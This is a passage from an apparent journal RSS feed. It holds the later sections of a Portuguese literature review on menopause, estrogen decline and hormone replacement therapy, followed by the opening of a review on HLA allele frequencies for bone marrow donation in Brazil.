<p class="wp-block-paragraph">A pré-menopausa é caracterizada pela instabilidade hormonal, havendo uma diminuição no ciclo menstrual, é comum perceber algumas alterações sutis como flutuações de humor (como irritabilidade e ansiedade), problemas de sono (insônia) e cansaço que, com o tempo, se tornam mais evidentes&nbsp; (Lima; Santos, 2021).</p>



<p class="wp-block-paragraph">A menopausa por sua vez é o momento em que ocorre a última menstruação da mulher, para que seja reconhecida é necessário que ela fique pelo menos doze meses seguidos sem menstruar, sem que isso esteja relacionado a nenhuma outra condição de saúde, esse período sinaliza que os ovários deixaram de funcionar ativamente, reduzindo significativamente a produção dos hormônios como o estrogênio e a progesterona. A pós-menopausa é definida pelas taxas hormonais que permanecem estáveis em níveis baixos e constantes, especialmente o estrogênio, essas alterações impactam diretamente a qualidade de vida da mulher, refletindo tanto no corpo quanto nas emoções (Lima; Santos, 2021).</p>



<p class="wp-block-paragraph">O estrogênio e a progesterona são hormônios sexuais femininos fundamentais, produzidos principalmente pelos ovários ao longo da vida reprodutiva da mulher. O estrogênio participa de uma ampla gama de processos fisiológicos, como a regulação do ciclo menstrual, o desenvolvimento e a manutenção das características sexuais secundárias, a proteção dos vasos sanguíneos e do coração, a preservação da densidade óssea, além de influenciar no humor e nas funções cognitivas. Por sua vez, a progesterona atua de maneira essencial na preparação do útero para uma possível gestação, além de exercer efeitos no sistema nervoso central, contribuindo para a regulação do sono e do equilíbrio emocional por meio da sua interação com receptores neurais (Nakagawa, 2020).</p>



<p class="wp-block-paragraph">Durante o climatério, há uma redução progressiva da função ovariana, o que provoca uma queda marcante na produção dos hormônios produzidos por ele. Esse declínio, afeta diretamente o eixo hormonal hipotálamo-hipófise-ovário, uma vez que os hormônios esteroides deixam de ser sintetizados adequadamente eleva-se ao aumento dos níveis de FSH e hormônio luteinizante (LH) para tentar compensar esse desequilíbrio (Nazaré, 2020).</p>



<p class="wp-block-paragraph">Embora alguns sintomas intensos do climatério, como as ondas de calor, possam diminuir com o tempo, é comum que surjam outros desafios, entre eles, destacam-se o enfraquecimento dos ossos, problemas cardiovasculares e alterações na saúde íntima, como ressecamento vaginal e infecções urinárias mais frequentes, muitas mulheres tendem a ter mudanças significativas no bem-estar físico, emocional e até social. Cada mulher vivencia essa fase de forma única, e por isso, é fundamental contar com acompanhamento profissional e cuidados contínuos para manter o bem-estar físico, emocional e a qualidade de vida (Costa et al., 2019).</p>



<p class="wp-block-paragraph"><strong>2.2 Sintomatologia e diagnóstico da menopausa</strong></p>



<p class="wp-block-paragraph">No climatério, os sintomas mais frequentes estão associados às ondas de calor, suores constantes, irritabilidade, dificuldades para dormir, redução do desejo sexual e ressecamento vaginal. Esses sinais não são iguais para todas as mulheres, podendo variar bastante em intensidade e duração (Davis et al., 2015).</p>



<p class="wp-block-paragraph">A queda nos níveis de estrogênio afeta a regulação de neurotransmissores como serotonina, dopamina e norepinefrina, os quais desempenham papéis fundamentais no controle do humor, da ansiedade e do sono, muitas mulheres vivenciam alterações emocionais que podem impactar profundamente sua qualidade de vida, como consequência, é comum o surgimento de sintomas como irritabilidade, instabilidade emocional, tristeza persistente, dificuldade de concentração e até quadros depressivos. Além das alterações neuroquímicas, fatores psicossociais como o envelhecimento, mudanças no corpo, falta da libido, entre outros fatores, contribuem para essa vulnerabilidade emocional (Raimundo et al., 2023).</p>



<p class="wp-block-paragraph">O diagnóstico da menopausa, é feito com base na sintomatologia, avaliando o relato clínico da paciente, variando de mulher para mulher. Os mais evidentes são: falta da menstruação, ondas de calor intensos, falta da libido, irritabilidade, sangramentos vaginais na hora do ato sexual devido a uma má elasticidade e ressecamento do canal vaginal e os menos comuns são perda de memória, enxaquecas constantes, aumento de gordura localizada, infecções urinárias constantes, alterações humorais e insônia (Viana; Camara; Borges, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Os exames para a confirmação da menopausa são solicitados por um profissional de saúde no qual incluem exames hormonais, especialmente para avaliar a queda dos níveis de estrogênio e o aumento do FSH e&nbsp; LH, que são marcadores importantes dessa fase, os valores de FSH acima de 30 a 40 mUI/mL são sugestivos de falência ovariana, especialmente quando associados à amenorreia persistente, também incluem a dosagem de estradiol (E2) que pode apresentar níveis significativamente reduzidos, geralmente abaixo de 30 pg/mL, corroborando o diagnóstico de menopausa (Viana; Camara; Borges, 2025).</p>



<p class="wp-block-paragraph">Outros exames laboratoriais também podem ser utilizados de forma complementar, dependendo do contexto clínico da paciente, em mulheres mais jovens com suspeita de menopausa precoce, pode ser útil investigar o perfil tireoidiano (TSH e T4 livre) e a dosagem de prolactina, para descartar causas endócrinas secundárias de amenorreia. O perfil androgênico avaliado pela testosterona, androstenediona e sulfato de desidroepiandrosterona está indicado nas mulheres climatéricas com manifestações de hiperandrogenismo. Exames de imagem como ultrassonografia e transvaginal podem ser utilizados para identificar atrofia do colo do útero (Viana; Camara; Borges, 2025).</p>



<p class="wp-block-paragraph"><strong>2.3 Efeitos do Estrogênio no Período Pós Menopausa&nbsp;</strong></p>



<p class="wp-block-paragraph">O período pós-menopausa traz uma série de efeitos fisiológicos, psicológicos e corporais nas mulheres, refletindo as mudanças hormonais que ocorrem nessa fase da vida. Do ponto de vista fisiológico, a diminuição dos níveis de estrogênio e progesterona provoca aumento no risco de fraturas devido à perda de densidade mineral óssea, propensão a doenças cardíacas e alterações na saúde da pele, que tende a ficar mais ressecada, menos elástica e com perda de firmeza, A secura vaginal permanece durante esse período juntamente com o enfraquecimento dos músculos pélvicos e maior vulnerabilidade a infecções urinárias ou incontinência (Delgado; Lopez-Ojeda, 2023).</p>



<p class="wp-block-paragraph">No aspecto corporal, é comum ocorrer ganho de peso, especialmente na região abdominal, além de afinamento dos cabelos e ressecamento da pele. Psicologicamente, muitas mulheres podem experimentar alterações de humor, ansiedade, depressão ou dificuldades para dormir, além de uma sensação de perda de vitalidade ou autoestima devido às mudanças físicas. Essas transformações variam de mulher para mulher e é importante que o acompanhamento médico seja feito regularmente para monitorar a saúde, prevenir complicações e buscar estratégias que promovam bem-estar e qualidade de vida nessa fase (Delgado; Lopez-Ojeda, 2023).</p>



<p class="wp-block-paragraph">Os níveis hormonais permanecem significativamente alterados em relação à fase reprodutiva. A produção de estrogênio pelos ovários cessa completamente, resultando em concentrações persistentemente baixas de estradiol. Em resposta à ausência do estrogênio, a hipófise aumenta a secreção de gonadotrofinas, especialmente o FSH, que geralmente se mantém elevado durante toda a menopausa e pós-menopausa. O LH também pode apresentar níveis aumentados, mas com menor sensibilidade diagnóstica. A queda do estrogênio tem impacto direto sobre diversos tecidos e sistemas, sendo uma das principais responsáveis pelos sintomas e riscos associados ao hipoestrogenismo prolongado, como a osteoporose, o comprometimento cardiovascular e a atrofia urogenital (Nazaré, 2020).&nbsp;</p>



<p class="wp-block-paragraph">A queda dos níveis de estrogênio favorece a redistribuição da gordura corporal, com acúmulo predominantemente na região abdominal, o que pode contribuir para o aumento de peso e aumento do risco cardiometabólico. Além disso, o metabolismo basal tende a diminuir, favorecendo a obesidade, mesmo sem mudanças significativas na alimentação (Nappi; Cucinella, 2021).&nbsp;</p>



<p class="wp-block-paragraph">A libido também pode ser afetada negativamente, tanto pela redução da lubrificação vaginal causada pela atrofia do epitélio vaginal, quanto pela diminuição da sensibilidade genital e da testosterona circulante, que, embora menos discutida, também exerce influência no desejo sexual feminino, essas mudanças quando não acompanhadas de suporte clínico e psicológico, podem impactar a autoestima, a saúde sexual e a qualidade de vida como um todo (Nappi; Cucinella, 2021).</p>



<p class="wp-block-paragraph">Nesse período pós menopausa, muitas mulheres aderem a uma terapia de reposição hormonal (TRH) para minimizar os efeitos deletérios do climatério, alguns profissionais recomendam a reposição dos hormônios, pois, com a reposição tanto do estrogênio como a progesterona vão fazer com que o organismo diminua os efeitos provocados nesse período, entretanto, o corpo ainda vai continuar sem o funcionamento adequado da parte reprodutora (os óvulos), mais todos os sintomas ocorridos durante o climatério vão melhorar significativamente em alguns casos (Teixeira et al., 2022).</p>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">O presente estudo consiste em uma revisão integrativa de literatura de caráter descritivo transversal e qualitativo. Essa modalidade de pesquisa é composta por textos que integraliza opiniões, conceitos de produções científicas distintas como artigos, teses, manuais, dissertações, monografias, livros, dentre outras.</p>



<p class="wp-block-paragraph">Foi feita uma pesquisa sobre o tema em questão “Climatério: Abordagem Atual Sobre os Efeitos do Estrogênio e suas Principais Vantagens na Reposição Hormonal” com o intuito de estabelecer uma diversidade de abordagem do tema a ser estudado mantendo uma relação entre as informações e o problema proposto, uma vez que, essa linha de estudo carece de mais informações a fim de conscientizar profissionais e familiares sobre o tema em questão abordado.</p>



<p class="wp-block-paragraph">Os dados foram coletados no período de janeiro a novembro de 2025, esses estudos foram levantados por meio de leitura e pesquisa sobre o tema para a coleta de dados. Foram analisados artigos, livros, revistas e todo trabalho tornado público, além de base de dados governamentais e de fontes virtuais como:&nbsp; <em>LILACS, SCIELO, PEDRO, PUBMED</em>, possibilitando a análise comparativa entre eles norteando o estudo em função de uma leitura coerente e de referência, permitindo uma abordagem metodológica mais ampla, devido à integração de pesquisas experimentais e bibliográficas, facilitando assim, a compreensão e síntese do assunto em questão estudado.</p>



<p class="wp-block-paragraph">Os passos e critérios de inclusão para a coleta de dados foram: identificação dos descritores (Terapia de reposição hormonal (TRH); Estrogênio; Efeitos Colaterais; Saúde Feminina), leitura prévia do resumo dos materiais coletados para averiguar sua adequação com a temática pretendida, pesquisas qualitativas, quantitativas e teóricas na língua portuguesa e/ou inglesa publicados no período de 2015 a 2025 (dada a escassez de materiais em recorte inferior a esse, detectada em investigação prévia), leitura minuciosa dos trabalhos em questão para seleção dos fragmentos textuais que compõem o artigo e permitem reforçar o problema da pesquisa, e estar de acordo à proposta da pesquisa.</p>



<p class="wp-block-paragraph">Os critérios de exclusão adotados foram: artigos que estavam fora do recorte temporal e que não abordaram o tema proposto e artigos duplicados.</p>



<p class="wp-block-paragraph">Os dados coletados foram analisados a fim de responder a problemática exposta por esse trabalho, servindo de base para a formação da discussão. Depois de redigido os dados coletados foram aperfeiçoados e melhorados com o intuito de identificar possíveis falhas e corrigi-las em tempo hábil.</p>



<p class="wp-block-paragraph"><strong>4. RESULTADOS E DISCUSSÃO</strong></p>



<p class="wp-block-paragraph">Os resultados expostos nessa seção apresentam os dados obtidos através de pesquisa bibliográfica referente ao tema “Climatério: Abordagem atual sobre os efeitos do estrogênio e suas principais vantagens na reposição hormonal”, no qual refletem a realidade observada à luz da literatura científica.&nbsp;</p>



<p class="wp-block-paragraph">De acordo com o Instituto Brasileiro de Geografia e Estatística (IBGE) (2022), no Brasil, estima-se que nos dias atuais haja em torno de 213,4 milhões de pessoas, sendo 110 milhões de mulheres, o que corresponde a cerca de 51,5% da população total de moradores no país, dessas, 17 milhões estão vivendo no climatério, do qual, para Febrasgo (2025), ocorre em torno dos 50 a 51 anos de idade, isso explica o envelhecimento demográfico dessa população, esse reconhecimento é fundamental na atenção primária, uma vez que o acesso ao tratamento e orientação adequada pode auxiliar os sintomas e melhorar a qualidade de vida dessas mulheres (figura 1).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong>: Estimativa de mulheres vivendo na menopausa no Brasil (2025).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="958" height="680" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2401.png" alt="" class="wp-image-253517" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2401.png 958w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2401-300x213.png 300w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2401-768x545.png 768w" sizes="(max-width: 958px) 100vw, 958px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: (Febrasgo, 2025).</p>



<p class="wp-block-paragraph">O gráfico mostra a proporção de mulheres em percentual, que estão convivendo na fase do climatério no Brasil, nos dias atuais (2025), o percentual em 100% de mulheres no Brasil corresponde a 110 milhões, deste, cerca de 17 milhões (15,5%) são de mulheres no climatério. Esses dados mostram a necessidade de acompanhamento e políticas voltadas a essa população específica, pois, há uma alta prevalência de mulheres vivendo no climatério no país dos quais aumenta a cada ano conforme o envelhecimento dessa comunidade. Os serviços públicos, principalmente a atenção primária, devem promover ações de bem estar e qualidade de vida associados a prevenção de doenças e envelhecimento feminino quanto a queda hormonal normalmente associada a senescência.&nbsp;</p>



<p class="wp-block-paragraph">Gorman e Shih (2023), afirmam que a redução do estrogênio produz um impacto negativo na qualidade de vida da mulher, alterando diretamente o equilíbrio físico e emocional, os autores concluem ainda que, é necessário um manejo individualizado dos sintomas durante o climatério, considerando o estrogênio como um hormônio essencial para a homeostase feminina. Lee et al. (2025), expõem que há uma redução significativa do hormônio estrogênio durante o climatério no qual, está associada ao envelhecimento feminino, consequentemente, aumenta a incidência de doenças metabólicas, cardiovasculares e ósseas.</p>



<p class="wp-block-paragraph">Corroborando a isso, Leite et al. (2024), destacam que a manutenção da densidade óssea, a regulação do metabolismo lipídico, fragilidade óssea e capilar, são os principais resultados da falta de produção e/ou diminuição de estrogênio no corpo feminino, resultando em consequência a curto e longo prazo da diminuição da qualidade de vida, com isso, é necessário uma intervenção hormonal a fim de reduzir e/ou minimizar seus sintomas de forma a evitar que esses achados possam perdurar por longos períodos, uma vez que podem causar danos psicológicos.</p>



<p class="wp-block-paragraph">De modo semelhante, Kim et al. (2025), citam em seu estudo que a queda hormonal de estrogênio no período do climatério pode causar impactos psicológicos negativos na saúde da mulher resultando em uma possível psicopatologia pelos transtornos causados quanto as suas consequências físicas, os autores enfatizam que o potencial terapêutico do estrogênio sobre o cérebro sugere uma ação neuroprotetora e preventiva. Raimundo et al. (2023), aborda em sua pesquisa que mudanças hormonais exercem influência sobre as emoções femininas, não diferente a queda do estrogênio pode interferir na produção de serotonina e dopamina, neurotransmissores fundamentais na regulação do humor e sono, causando irritabilidade, ansiedade e depressão quando estão abaixo dos valores de referências.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Andy et al. (2024), a reposição hormonal no período do climatério melhora a cognição, memória e estabilidade emocional, contribuindo para um bem-estar e integridade emocional. Lui et al. (2015), sugerem que é possível observar uma melhora na aparência física de mulheres com reposição de estrogênio, como elasticidade da pele, firmeza, aumento de colágeno e espessura, ajuda a manter a massa muscular e distribuição da gordura corporal.</p>



<p class="wp-block-paragraph">O uso de terapia de reposição hormonal (TRH) entre mulheres no climatério ainda é baixo frente aos seus benefícios, Costa et al. (2022), ao realizar um estudo com 1.500 mulheres de 45 a 65 anos, identificou que menos da metade dessas 22,3% receberam prescrição médica para TRH, e as outras 45,4% restante não utilizavam qualquer tipo de tratamento, esses dados mostram que menos de um quarto das mulheres na menopausa no Brasil utilizam o tratamento, refletindo tanto a cautela médica quanto às barreiras de acesso e informação sobre a terapia hormonal.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2</strong>: Mulheres em uso de terapia de reposição hormonal no climatério.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="426" height="296" src="https://revistaft.com.br/wp-content/uploads/2025/11/image-2402.png" alt="" class="wp-image-253519" srcset="https://revistaft.com.br/wp-content/uploads/2025/11/image-2402.png 426w, https://revistaft.com.br/wp-content/uploads/2025/11/image-2402-300x208.png 300w" sizes="(max-width: 426px) 100vw, 426px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: (Costa et al. 2022).</p>



<p class="wp-block-paragraph">O gráfico apresenta um percentual de mulheres com prescrição médica para Terapia de Reposição Hormonal (TRH) (22,3%), contudo, o número de mulheres que de fato fazem a terapia é muito pequena (10,1%), essa diferença mostra que apesar da terapia ser bem aceita pelos profissionais de saúde, ainda há muita resistência de mulheres em relação ao uso de hormônios para minimizar os sintomas do climatério ou optam por não o iniciar.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A terapia de reposição hormonal (TRH) é considerada uma das abordagens mais eficazes para o alívio dos sintomas climatéricos, especialmente os vasomotores, como fogachos e sudorese noturna, que afetam significativamente a qualidade de vida das mulheres na menopausa e pós-menopausa. Manson et al. (2013), citam em seu estudo que além de controlar esses sintomas, a TRH contribui para a prevenção da osteoporose, uma vez que o estrogênio exerce efeito protetor sobre o metabolismo ósseo reduzindo a reabsorção óssea e o risco de fraturas. Quando bem indicada, ela pode trazer diversos benefícios, como a lubrificação vaginal, saúde sexual e restauração parcial da libido, além de exercer efeitos benéficos sobre o humor e a cognição.</p>



<p class="wp-block-paragraph">Pardini (2014), ressalta que apesar de seus benefícios, a TRH não é isenta de riscos e sua indicação deve ser individualizada. Estudos clínicos mostram que o uso prolongado ou inadequado da TRH pode aumentar o risco de câncer de mama, tromboembolismo venoso, acidente vascular cerebral (AVC) e, em alguns casos, doenças cardiovasculares, especialmente em mulheres com histórico pessoal ou familiar desses eventos. O tipo de hormônio utilizado, a via de administração (oral ou transdérmica), a dose e o tempo de uso influenciam diretamente o perfil de segurança da TRH, por isso, a decisão sobre iniciar ou manter a reposição deve considerar fatores como idade da mulher, tempo desde a menopausa e presença de comorbidades. O acompanhamento médico contínuo também é essencial para garantir que os benefícios superem os riscos e o tratamento seja seguro e eficaz ao longo do tempo.</p>



<p class="wp-block-paragraph">De acordo com Santoro et al. (2015), Para mulheres que têm contraindicações absolutas ao uso de hormônios como histórico de câncer de mama, trombose venosa profunda ou doenças hepáticas graves, existem opções terapêuticas não hormonais que podem ser eficazes no manejo dos sintomas da menopausa. Antidepressivos inibidores seletivos da recaptação da serotonina (ISRS) como a paroxetina e a venlafaxina, têm mostrado bons resultados na redução dos fogachos, outras opções incluem moduladores seletivos de receptores de estrogênio (como o bazedoxifeno), clonidina para sintomas vasomotores e lubrificantes ou hidratantes vaginais para o alívio da secura e desconforto genital. Medidas não farmacológicas, como atividade física regular, alimentação balanceada, técnicas de relaxamento e suporte psicoterapêutico, também são estratégias importantes na promoção do bem-estar durante a menopausa.</p>



<p class="wp-block-paragraph">Arruda et al. (2018), destacam que os principais benefícios da TRH observados em mulheres pós menopausa são: menor incidência de síndrome metabólica e dislipidemia, redução dos sintomas vasomotores, auxiliar na melhora da libido e da lubrificação vaginal, prevenção da osteoporose e na melhora da densidade mineral óssea, benefícios cardiovasculares e cognitivos, melhora a elasticidade da pele e previne psicopatologias. Fortalecendo essa teoria Pompei et al. (2022), reforçam o papel metabólico do hormônio ao demonstrar que o estrogênio atua como fator protetor sistêmico, sendo sua deficiência responsável por múltiplas disfunções fisiológicas, além disso, o uso do hormônio em baixas doses com início precoce (nos primeiros anos após o início da menopausa) da TRH pode trazer diversos benefícios clínicos e preventivos quando comparados a esquemas de longa duração ou iniciados tardiamente, portanto, há uma concordância científica de que a TRH, quando bem indicada e monitorada, pode ser altamente benéfica para o bem-estar global da mulher.</p>



<p class="wp-block-paragraph">Embora muitos estudos mostram a eficácia e benefícios do uso da TRH em mulheres no climatério e pós menopausa, ainda há autores que alertam para o risco do mesmo. Hershman, Sara e Lacazo (2022), apontam para uma incidência de câncer de mama como riscos do TRH, esses riscos estão associados ao uso combinado de estrogênio + progestina por períodos prolongados, especialmente além de 3 a 5 anos, é<strong> </strong>importante considerar fatores de risco individuais (idade, histórico familiar, densidade mamária, hábitos de vida) e fazer acompanhamento médico periódico, incluindo mamografias de rotina, além disso, os autores informam ainda que a trombose venosa e acidente vascular cerebral em determinados grupos de pacientes também podem ser observados, contudo, uma parcela muito menor dessa população podem apresentar esses sintomas, necessitando de mais estudos a respeito do mesmo.&nbsp;</p>



<p class="wp-block-paragraph">Sharp, Oliveira e Silva (2021), acrescentam que acrescentam que a escolha do tipo de hormônio, da via de administração e do tempo de uso deve ser personalizada, levando em consideração o histórico de cada mulher, reforçam ainda que é necessário haver uma mudança de estilo de vida (prática de exercício, alimentação saudável, controle de tempo, suporte psicológico,<strong> </strong>dentre outros) <strong>c</strong>omo medidas complementares para a melhoria do bem-estar físico e emocional durante o climatério. Dessa forma, há uma tendência crescente em combinar abordagens farmacológicas e não farmacológicas para um cuidado mais integral.</p>



<p class="wp-block-paragraph">Lopes e Pereira (2020), evidenciaram em seu estudo que o manejo do climatério deve ser multidimensional, integrando o acompanhamento médico, psicológico e social com o intuito de promover uma terapia completa a mulheres no climatério e pós menopausa, reforçam que o reconhecimento precoce dos sintomas e o suporte profissional contínuo para prevenir complicações e melhorar a qualidade de vida. WHO (2019), ressalta que a promoção da saúde feminina nessa fase deve incluir políticas públicas de prevenção e educação em saúde, considerando que a longevidade feminina está diretamente ligada à atenção integral ao climatério, dessa forma, compreende-se que o estrogênio e sua reposição não representam apenas uma questão biológica, mas um importante instrumento de promoção da saúde e de valorização da qualidade de vida da mulher na maturidade.</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Diante dos dados apresentados por esse estudo através da revisão bibliográfica pelos autores pesquisados foi possível compreender que o climatério representa uma fase de intensas transformações fisiológicas, psicológicas e sociais na vida da mulher, influenciadas pela queda dos níveis de estrogênio a partir de 50 anos de idade (com exceções). Essa redução hormonal está associada a uma série de alterações no organismo, refletindo diretamente na qualidade de vida e no bem-estar feminino, diante disso, torna-se indispensável o acompanhamento médico e multiprofissional, com foco na promoção da saúde integral da mulher, levando em consideração tanto os aspectos biológicos quanto os emocionais dessa etapa.</p>



<p class="wp-block-paragraph">As análises dos estudos abordados demonstrou que a terapia de reposição hormonal (TRH) apresenta resultados positivos no controle dos sintomas do climatério, contudo, o uso inadequado ou prolongado pode trazer riscos à saúde da mulher necessitando de acompanhamento médico contínuo e de avaliações periódicas para garantir segurança e eficácia no tratamento.</p>



<p class="wp-block-paragraph">Por fim, conclui-se que a compreensão do climatério e da importância do estrogênio ultrapassa a esfera biológica, abrangendo também o campo social e psicológico. Investir em educação em saúde, políticas públicas voltadas à mulher e capacitação de profissionais para o manejo adequado dessa fase é essencial para assegurar um envelhecimento saudável e digno. A reposição hormonal, quando bem indicada e associada a hábitos de vida saudáveis, representa uma estratégia eficaz na promoção da qualidade de vida e no resgate do equilíbrio físico e emocional da mulher climatérica, reafirmando o papel fundamental da biomedicina e das ciências da saúde na valorização da saúde feminina ao longo do ciclo vital.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALMEIDA, J.; MORAIS, R. Funções fisiológicas do estrogênio e sua importância na saúde feminina. <strong>Revista Brasileira de Endocrinologia e Metabolismo</strong>, São Paulo, v. 12, n. 2, p. 45-52, 2024.</p>



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<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>COMPARAÇÃO DAS FREQUÊNCIAS ALÉLICAS DOS GENES HLA PARA OS LOCI HLA-A, HLA-B, HLA-DRB1 E HLA-DQB1 NO BRASIL: UMA REVISÃO BIBLIOGRÁFICA</title>
		<link>https://revistaft.com.br/comparacao-das-frequencias-alelicas-dos-genes-hla-para-os-loci-hla-a-hla-b-hla-drb1-e-hla-dqb1-no-brasil-uma-revisao-bibliografica/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sat, 15 Nov 2025 20:45:49 +0000</pubDate>
				<category><![CDATA[Biomedicina]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=249528</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202511151836 Pedro Lucas Loureiro Barbosa Santos¹Laís do Rêgo Barros Borges¹Orientadora: Drª Michelle da Silva Barros²Coorientador: Wilson Fernando de Farias Santos³ RESUMO&#160; O antígeno leucocitário humano (HLA), codifica proteínas atuantes nas vias de processamento e apresentação de antígeno. Ademais, compreende uma das regiões gênicas mais polimórficas encontradas na espécie humana.&#160; Sendo assim, as chances [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511151836</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Pedro Lucas Loureiro Barbosa Santos¹<br>Laís do Rêgo Barros Borges¹<br>Orientadora: Drª Michelle da Silva Barros²<br>Coorientador: Wilson Fernando de Farias Santos³</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">O antígeno leucocitário humano (HLA), codifica proteínas atuantes nas vias de processamento e apresentação de antígeno. Ademais, compreende uma das regiões gênicas mais polimórficas encontradas na espécie humana.&nbsp; Sendo assim, as chances de encontrar doadores compatíveis não aparentados, são de 1 a cada 100.000 indivíduos. Dessa forma, a tipagem HLA torna-se imprescindível para o sucesso dos transplantes de células tronco hematopoiéticas (TCTH), aumentando suas chances de sucesso. Nesse sentido, buscou-se comparar a prevalência das frequências alélicas entre os estados brasileiros. Para tal, foi realizado um levantamento de literatura nas principais bases de dados como PubMed, LILACS e Scielo, utilizando das palavras-chaves: HLA allele frequency, bone marrow e Brazil. Além disso, para otimizar as buscas foi utilizado o operador booleano “AND” para refinar o termo de busca. Por meio dessa estratégia de busca foram selecionados 76 estudos, desses, 10 trabalhos foram incluídos nesta revisão. Evidenciou-se que a prevalência dos alelos HLA-A, HLA-B, HLA-DRB1 e HLADQB1, foram semelhantes nos diferentes estados do Brasil e quando comparados com estudos de âmbito nacional. Entretanto, a literatura mostra que, com base nas diferentes constituições populacionais do Brasil e com as diferentes metodologias de resolução, diferentes alelos podem ser mais ou menos prevalentes, como os alelos A*31 e DRB1*11, nas regiões Norte e Sul-Sudeste, respectivamente.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Frequência alélica HLA. Medula óssea. Brasil&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Human leukocyte antigen (HLA) encodes proteins involved in antigen processing and presentation pathways. Furthermore, it comprises one of the most polymorphic gene regions found in humans.&nbsp; As such, the chances of finding compatible unrelated donors are 1 in 100,000 individuals. Therefore, HLA typing is essential for the success of hematopoietic stem cell transplants (HSCT), increasing their chances of success. In this sense, we sought to compare the prevalence of allele frequencies among Brazilian states. To this end, a literature review was conducted in the main databases such as PubMed, LILACS, and Scielo, using the keywords: HLA allele frequency, bone marrow, and Brazil. In addition, to optimize the searches, the Boolean operator “AND” was used to refine the search term. Through this search strategy, 76 studies were selected, of which 10 were included in this review. It was found that the prevalence of HLA-A, HLA-B, HLA-DRB1, and HLA-DQB1 alleles was similar in different Brazilian states and when compared with national studies. However, the literature shows that, based on the different population compositions in Brazil and the different resolution methodologies, different alleles may be more or less prevalent, such as alleles A*31 and DRB1*11 in the North and South-Southeast regions, respectively.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: HLA allele frequency. Bone marrow. Brazil.</p>



<p class="wp-block-paragraph"><strong>1.</strong><strong> </strong><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Os genes do antígeno leucocitário humano (HLA) correspondem ao equivalente humano do chamado complexo principal de histocompatibilidade (MHC), o qual compreende uma região genômica localizada no braço curto do cromossomo 6. Nesse sentido, tal região abrange diversos loci, que em sua maioria, estão relacionados a imunidade. Os genes HLA possuem como uma de suas funções codificar proteínas de superfície que fazem parte das vias de processamento e apresentação de antígeno, de forma que, trabalham para impedir que um corpo estranho entre ou se espalhe no organismo. (Abbas e colaboradores, 2011; Alberts e colaboradores, 2015).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">De acordo com Maróstica e colaboradores (2022), os genes HLA correspondem a região gênica de maior polimorfismo do genoma humano. De maneira que, se dividem em duas classes, I e II, as moléculas de classe I estão distribuídas na superfície de todas as células nucleadas, de modo que interagem fortemente com receptores presentes nos linfócitos TCD8+ e células Natural killer (NK), apresentando peptídeos endógenos na fenda de ligação. Em contrapartida, as moléculas de classe II estão presentes na membrana das células apresentadoras de antígeno (APCs), sendo reconhecidas pelos linfócitos TCD4+, de maneira que exibem peptídeos exógenos. As moléculas de classe I codificam os genes HLA-A, HLA-B e HLA-C, já as de classe II codificam as cadeias α e β dos genes HLA-DP, HLA-DR e HLA-DQ. (Klein e Sato, 2000; Abbas e colaboradores, 2011; Alberts e colaboradores, 2015; Neefjes e colaboradores, 2011).&nbsp;</p>



<p class="wp-block-paragraph">No contexto dos transplantes de medula óssea, o alto polimorfismo dos genes HLA representa um obstáculo a ser superado, uma vez que a incompatibilidade HLA entre doador e receptor caracteriza um risco aumentado de falha do enxerto, assim como de doença do enxerto contra hospedeiro (GVHD) (Morishima e colaboradores, 2002). No Transplante de Células-Tronco Hematopoéticas (TCTH) o ideal é que a equivalência entre alelos seja total. Todavia, entre indivíduos relacionados a chance de correspondência total de alelos é de apenas 25% e a chance de doador não relacionado apresentar esse nível de compatibilidade pode alcançar 1 a cada 100.000 indivíduos (Macêdo e colaboradores, 2014).&nbsp;</p>



